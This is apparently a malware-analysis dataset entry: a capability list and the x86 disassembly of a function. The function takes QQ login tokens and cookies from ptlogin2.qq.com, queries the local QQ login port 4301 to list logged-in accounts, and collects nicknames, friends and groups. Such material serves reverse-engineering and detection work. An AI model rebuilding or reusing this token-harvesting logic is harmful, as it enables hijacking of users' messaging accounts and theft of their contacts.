Function at 0x100163f0
Capabilities:
Connect to http server
Create http request
Make an http request with a cookie
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov eax, 0x2248
call fcn.10030bb0
push ebx
push ebp
push esi
mov dword [esp + 0x20], ecx
push edi
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], 0
mov esi, str.Mozilla_4.0__compatible__MSIE_9.0__Windows_NT_6.1_
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xc
lea edi, [esp + 0xbc]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 5
mov esi, str.xui.ptlogin2.qq.com
lea edi, [esp + 0x2c]
push 0
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x1d
mov esi, str._cgi_bin_xlogin_appid715030901daid73hide_close_icon1pt_no_auth1s_urlhttp_3A_2F_2Fqun.qq.com_2Fmember.html_23
lea edi, [esp + 0xf4]
push 0
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x3c
mov esi, str.Accept:___r_nReferer:_https:__xui.ptlogin2.qq.com_cgi_bin_xlogin_appid715030901daid73hide_close_icon1pt_no_auth1s_urlhttp_3A_2F_2Fqun.qq.com_2Fmember.html_23_r_nAccept_Language:_zh_cn_r_nContent_Type:_application_x_www_form_urlencoded
lea edi, [esp + 0x170]
push 0
rep movsd dword es:[edi], dword [esi]
mov ecx, 6
mov esi, str.localhost.ptlogin2.qq.com
lea edi, [esp + 0x8c]
lea eax, [esp + 0xc8]
rep movsd dword es:[edi], dword [esi]
push 0
push eax
mov dword [esp + 0x2c], 0
mov dword [esp + 0x34], 0x20
movsw word es:[edi], word [esi]
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
mov dword [esp + 0x10], esi
jne 0x100164b5
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2248
ret
push 0
push 0
push 3
push 0
push 0
lea ecx, [esp + 0x40]
push 0x1bb
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x14], ebp
jne 0x100164ee
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2248
ret
push 0
push 0x80880010
push 0
push 0
lea edx, [esp + 0x100]
push str.HTTP_1.1
push edx
push 0x10100988
push ebp
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
jne 0x10016531
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call edi
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2248
ret
lea edi, [esp + 0x168]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
lea eax, [esp + 0x170]
push ecx
push eax
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x10016576
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call edi
push ebp
call edi
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2248
ret
lea ecx, [esp + 0x18]
push 0
push ecx
push 0
push 0x16
push ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
mov edx, dword [esp + 0x18]
inc edx
push edx
call sub.MFC42.DLL_operatornew
mov esi, eax
mov eax, dword [esp + 0x1c]
mov edi, esi
add esp, 4
lea ecx, [eax + 1]
xor eax, eax
mov edx, ecx
push 0
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov dword [esp + 0x20], esi
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x1c]
push eax
push esi
push 0x16
push ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x100165f3
push esi
call sub.MFC42.DLL_operatordelete
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 4
push ebx
call esi
push ebp
call esi
mov ecx, dword [esp + 0x10]
push ecx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2248
ret
mov ebp, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call ebp
mov edx, dword [esp + 0x14]
push edx
call ebp
mov eax, dword [esp + 0x10]
push eax
call ebp
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
push str.pt_local_token
push esi
call ebx
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
jne 0x10016639
push esi
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2248
ret
push 0x1010007c
push eax
call ebx
mov dword [esp + 0x1c], eax
mov edi, str.pt_local_tk
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x48]
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x1c]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
sub eax, ecx
add ecx, 0xf
sub eax, 0xf
push eax
lea eax, [esp + 0x58]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x126c]
push str.Set_Cookie:
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x34]
push edi
call ebx
mov esi, eax
add esp, 0x1c
test esi, esi
jne 0x100166cb
push edi
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2248
ret
push 0x1010007c
push esi
call ebx
mov edi, eax
lea edx, [esp + 0x1260]
mov ecx, edi
sub ecx, esi
add esi, 0xc
sub ecx, 0xb
push ecx
push esi
push edx
call dword [sym.imp.MSVCRT.dll_strncat]
push str.Set_Cookie:
push edi
call ebx
mov esi, eax
add esp, 0x1c
test esi, esi
jne 0x100166cb
mov eax, dword [esp + 0x1c]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
lea ecx, [esp + 0xbc]
push esi
push esi
push esi
push esi
push ecx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
mov dword [esp + 0x10], esi
jne 0x10016734
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2248
ret
push 0
push 0
push 3
push 0
push 0
lea edx, [esp + 0x94]
push 0x10cd
push edx
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x14], ebx
jne 0x1001676c
push esi
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2248
ret
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x40]
push eax
push str.0.9475416028552021
lea ecx, [esp + 0x260]
push str._pt_get_uins_callbackptui_getuins_CBr_s_s
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x258]
push 0
push 0x80880010
push 0
push 0
push str.HTTP_1.1
push edx
push 0x10100988
push ebx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
jne 0x100167cf
push ebx
call ebp
mov eax, dword [esp + 0x10]
push eax
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2248
ret
lea ecx, [esp + 0x1258]
lea edx, [esp + 0x258]
push ecx
push edx
lea eax, [esp + 0xa60]
push str.Accept:___r_nReferer:_https:__localhost.ptlogin2.qq.com:4301_s_r_nAccept_Language:_zh_cn_r_nContent_Type:_application_x_www_form_urlencoded_r_nCookie:__s
push eax
call edi
lea edi, [esp + 0xa68]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
push 0
dec ecx
push 0
push ecx
lea ecx, [esp + 0xa64]
push ecx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x10016834
push esi
call ebp
push ebx
call ebp
mov edx, dword [esp + 0x10]
push edx
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2248
ret
lea eax, [esp + 0x20]
push 0
lea ecx, [esp + 0xa0]
push eax
push ecx
push 5
push esi
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x1001686a
push esi
call ebp
push ebx
call ebp
mov edx, dword [esp + 0x10]
push edx
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2248
ret
lea eax, [esp + 0x9c]
push eax
call dword [sym.imp.MSVCRT.dll_atol]
mov edi, eax
inc edi
push edi
mov dword [esp + 0x24], edi
call sub.MFC42.DLL_operatornew
mov ecx, edi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 8
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x28]
mov ecx, edx
push eax
push ecx
push ebx
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x100168d9
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
push esi
call ebp
mov edx, dword [esp + 0x14]
push edx
call ebp
mov eax, dword [esp + 0x10]
push eax
call ebp
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2248
ret
push esi
call ebp
mov ecx, dword [esp + 0x14]
push ecx
call ebp
mov edx, dword [esp + 0x10]
push edx
call ebp
push 0
push 0
push 0xffffffffffffffff
push ebx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebp, eax
lea edi, [ebp + ebp + 2]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, edi
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
push ebp
mov ecx, edx
push esi
push 0xffffffffffffffff
and ecx, 3
push ebx
push 0
push 0xfde9
rep stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
lea edi, [ebx + 1]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, edi
mov ebp, eax
mov edx, ecx
add esp, 4
xor eax, eax
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
push 0
push 0
push ebx
mov ecx, edx
push ebp
push 0xffffffffffffffff
and ecx, 3
push esi
push 0
push 0
rep stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
call sub.MFC42.DLL_operatordelete
push 0x101000a8
push ebp
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
test eax, eax
jne 0x100169b9
push ebp
call sub.MFC42.DLL_operatordelete
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2248
ret
push eax
call fcn.10002e10
push ebp
mov ebx, eax
call sub.MFC42.DLL_operatordelete
add esp, 8
test ebx, ebx
je 0x10016a7b
mov esi, dword [ebx + 8]
test esi, esi
je 0x10016a7b
push str.nickname
push esi
call fcn.10004580
push 0x10100bb0
push esi
mov edi, eax
call fcn.10004580
add esp, 0x10
test edi, edi
je 0x10016a71
test eax, eax
je 0x10016a71
mov edi, dword [esp + 0x24]
lea ecx, [esp + 0x1a58]
push 0x800
lea edx, [esp + 0x125c]
push ecx
push edx
mov edx, dword [eax + 0x10]
lea ecx, [esp + 0x4c]
push ecx
push edx
mov ecx, edi
call fcn.10014f70
test eax, eax
je 0x10016a71
lea eax, [esp + 0x1a58]
mov ecx, edi
push eax
call fcn.10015830
test eax, eax
je 0x10016a4f
push eax
push str.friends
push esi
call fcn.10004680
add esp, 0xc
lea ecx, [esp + 0x1a58]
push ecx
mov ecx, edi
call fcn.10015ed0
test eax, eax
je 0x10016a71
push eax
push str.groups
push esi
call fcn.10004680
add esp, 0xc
mov esi, dword [esi]
test esi, esi
jne 0x100169dd
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x2248
ret